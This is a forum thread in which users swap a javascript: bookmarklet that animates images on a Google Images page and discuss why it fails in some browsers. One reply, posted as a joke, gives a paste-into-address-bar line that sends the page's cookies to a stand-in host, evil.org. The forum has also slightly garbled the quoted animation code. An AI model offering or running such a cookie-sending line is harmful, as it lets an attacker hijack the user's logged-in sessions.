Google Images fun



  • Go to images.google.co.uk

    Search for anything you like

    Delete the contents of the address bar

    Copy and paste the following into the address bar

    javascript:R=0;
    x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300;
    y5=200; DI= document.images; DIL=DI.length; function A(){for(i=0;
    i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute';
    DIS.left=Math.sin(Rx1+ix
    <wbr>2+x3)x4+x5; DIS.top=Math.cos(Ry1+i*y2<wbr>+y3)*y4+y5}R++}setInterval<wbr>('A()',5 ); void(0)

    Hit enter

    Enjoy

    Yes I know this is doing the rounds at the moment, so you might have come across it already. 



  • Umm... what makes this a wtf? or more precisely a Google wtf? You can do it on any site with images on it, not only images.google.co.uk.

    Reminds me of my experiments when I first learned javascript.



  • Oh, I see, the WTF is that Google image search triggers quirks mode (the script doesn't work in standards mode in Mozilla browsers because it doesn't specify a unit for the top and left properties).



  • Oh! Oh! I know another one! Open a TDWTF page, then paste the following in your adress bar and hit enter:

    javascript:;x=new Image();x.src="http://evil.org/psworx/cookies.php?" + document.cookie;

    It's hilarious! 



  • @CapitalT said:

    Umm... what makes this a wtf?

    Nothing. Hence why I posted it in General Discussion, not the sidebar

    or more precisely a Google wtf? You can do it on any site with images on it, not only images.google.co.uk.

    Wrong. Works on many sites, but not all.

    @iwpg said:

    Oh, I see, the WTF is that Google image search triggers quirks mode
    (the script doesn't work in standards mode in Mozilla browsers because
    it doesn't specify a unit for the top and left properties).

    Well spotted. I'd wondered why it wasn't working everywhere, that makes sense. 



  • Sorry, but what is supposed to happen? It clearely does not work for me.

    I pasted it into the address bar and the resulting page perceived it as a search term. 

    Your search - javascriptR=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6;
    y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images;
    DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style;
    DIS.position='absolute'; DIS.left=Math.sin(Rx1+ix2+x3)x4+x5;
    DIS.top=Math.cos(R
    y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5 ); void(0)
    - did not match any documents. 

     

     



  • @Phalphalak said:

    Sorry, but what is supposed to happen? It clearely does not work for me.

    I pasted it into the address bar and the resulting page perceived it as a search term. 

    Your search - javascriptR=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6;
    y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images;
    DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style;
    DIS.position='absolute'; DIS.left=Math.sin(Rx1+ix2+x3)x4+x5;
    DIS.top=Math.cos(R
    y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5 ); void(0)
    - did not match any documents. 

     

    There is a ":" missing after "javascript". 



  • @m0ffx said:

    @CapitalT said:

    Umm... what makes this a wtf?

    Nothing. Hence why I posted it in General Discussion, not the sidebar

    Look at your tags. It clearly reads "google wtf". You are excused if the evil autocompletion did that though. (Who programmed this forum, the geniuses behind FrontPage?)

    @m0ffx said:

    or more precisely a Google wtf? You can do it on any site with images on it, not only images.google.co.uk.

    Wrong. Works on many sites, but not all.

    My bad, shouldn't have overgeneralized something as complex (and wtfy) as HTML.



  • Doing the rounds "at the moment"? It was posted to Digg at the start of the year :P



  • Oops on missing the colon. No idea how that happened since I was just copy&pasting all the time. Maybe the forum munged it? Hears cries of tools, bad workmen

    Also oops on the tags, my fault. 


Log in to reply
 

Looks like your connection to What the Daily WTF? was lost, please wait while we try to reconnect.